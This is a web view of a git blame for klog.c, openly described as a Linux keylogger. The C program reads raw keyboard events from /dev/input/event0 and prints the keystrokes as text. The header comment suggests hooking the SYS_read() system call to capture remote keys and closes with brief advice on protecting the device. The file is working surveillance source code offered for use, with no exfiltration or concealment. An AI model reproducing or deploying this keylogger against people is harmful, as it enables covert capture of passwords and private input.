Fixnuty scancody
[mirrors/Programs.git] / c / keylogger / klog.c
CommitLineData
4ca45da7 1/* event0log.c v0.8
8f3f8f1e 2 * <~~Harvie 2oo8-2o21
21c4e167
H
3 * THX2: Dayvee (Idea), joe@aol.com (Reversing),
4 * -=Punka][Tux=- (BugReport),
8f3f8f1e 5 * Warriant's code (Inspiration), Linus (Linux)
21c4e167
H
6 *
7 * Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,)
8 * In other words: this is keylogger for Linux.
9 * If you have more keyboards, try other events (event1, ...eventX).
10 * Only local keyboard is supported,
11 * remote keys can be captured by hooking on SYS_read() system call.
12 *
13 * Build:
14 * - gcc argv[0].c -o argv[0]
15 *
16 * Usage (all examples do the same):
17 * - cat /dev/input/event0 | argv[0]
18 * - argv[0] /dev/input/event0
19 * - argv[0] -
20 *
21 * Adding new keystroke values:
22 * - <XXX> = keystroke id
23 * - set MAXSTROKE to 0 to get only keystroke values
24 *
25 * Defensive security:
26 * - chown & chmod /dev/input/event0
27 * - don't give cheap root to everybody
28 */
29
30#include <stdio.h>
31#include <stdlib.h>
8f3f8f1e
TM
32#include <stdint.h>
33#include <unistd.h>
21c4e167
H
34#include <signal.h>
35#define DEFAULTINPUT "/dev/input/event0"
36
8f3f8f1e
TM
37typedef struct __attribute__((__packed__)) input_event_s {
38 struct timeval time;
39 unsigned short type;
40 unsigned short code;
41 unsigned int value;
42} input_event_t;
43
4ca45da7 44#define MAXSTROKE 169 //Set higest keystroke code in DB (lower will not be converted)
21c4e167 45char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard:
4ca45da7
TM
46 "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", //14
47 "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", //28
48 "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", //44
49 "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", //57
50 "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", //69
51 "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", //83
52 "[./DEL-NUM]", "<85>", "<86>", "[MACRO-\\|]", "[F11]", "[F12]",
53 "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "<96>", "[ENTER-NUM]\n",
54 "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<102>",
21c4e167 55 "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]",
4ca45da7
TM
56 "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]",
57 "<120>", "<121>", "<122>", "<123>", "<124>", "<125>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]", "<128>", "<129>",
58 "<130>", "<131>", "<132>", "<133>", "<134>", "<135>", "<136>", "<137>", "<138>", "<139>",
59 "<140>", "<141>", "<142>", "[Fn]", "<144>", "<145>", "<146>", "<147>", "<148>", "<149>",
60 "<150>", "<151>", "<152>", "<153>", "<154>", "<155>", "<156>", "<157>", "[BACK]", "[FORW]",
61 "<160>", "<161>", "<162>", "[NEXTSONG]", "[PLAYPAUSE]", "[PREVSONG]", "[STOPCD]", "<167>", "<168>", "<169>"
21c4e167
H
62 /* Hint:
63 [CAPSL][ESC] = CapsLock On
64 [CAPSL] = CapsLock Off
65 [NUML]<0> = NumLock On
66 [NUML] = NumLock Off
67 3[ESC]3 = Escape
68 */
69};
70
71void cleanup(void) {
72 fclose(stdin);
73 fclose(stdout);
74}
75
76static void sigint_handler(int signo) {
77 exit(0);
78}
79
80int main(int argc, char *argv[]) {
81
82 atexit(&cleanup);
83 signal(SIGINT, &sigint_handler);
84 signal(SIGTERM, &sigint_handler);
85 signal(SIGQUIT, &sigint_handler);
86 signal(SIGSEGV, &sigint_handler);
87
88
89 FILE *ftest;
90 printf("Reading data from: ");
91 if(argc > 1 && argv[1][0] != '-') {
92 ftest = freopen(argv[1], "rb", stdin);
93 printf("%s\n", argv[1]);
94 }
95 if(argc > 1 && argv[1][0] == '-') {
96 ftest = freopen(DEFAULTINPUT, "rb", stdin);
97 printf("%s\n", DEFAULTINPUT);
98 }
99 if(argc == 1) {
100 printf("STDIN\n", argv[1]);
101 }
102
103 if(ftest == NULL) {
104 printf("Failed to open file!\n\n");
105 return(1);
106 }
8f3f8f1e
TM
107 setbuf(stdout, NULL);
108
109 printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE);
21c4e167 110
8f3f8f1e 111 input_event_t input_event;
21c4e167 112 while(1) {
8f3f8f1e
TM
113 read(0, &input_event, sizeof(input_event_t));
114 if(input_event.type != 1 || input_event.value != 1) continue;
115 //printf("\nTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.type, input_event.code, input_event.value);
116 if(input_event.code <= MAXSTROKE) {
117 printf("%s", strokes[input_event.code]);
118 } else {
119 printf("<%d>", input_event.code);
21c4e167
H
120 }
121 }
122
123}
This page took 0.241728 seconds and 4 git commands to generate.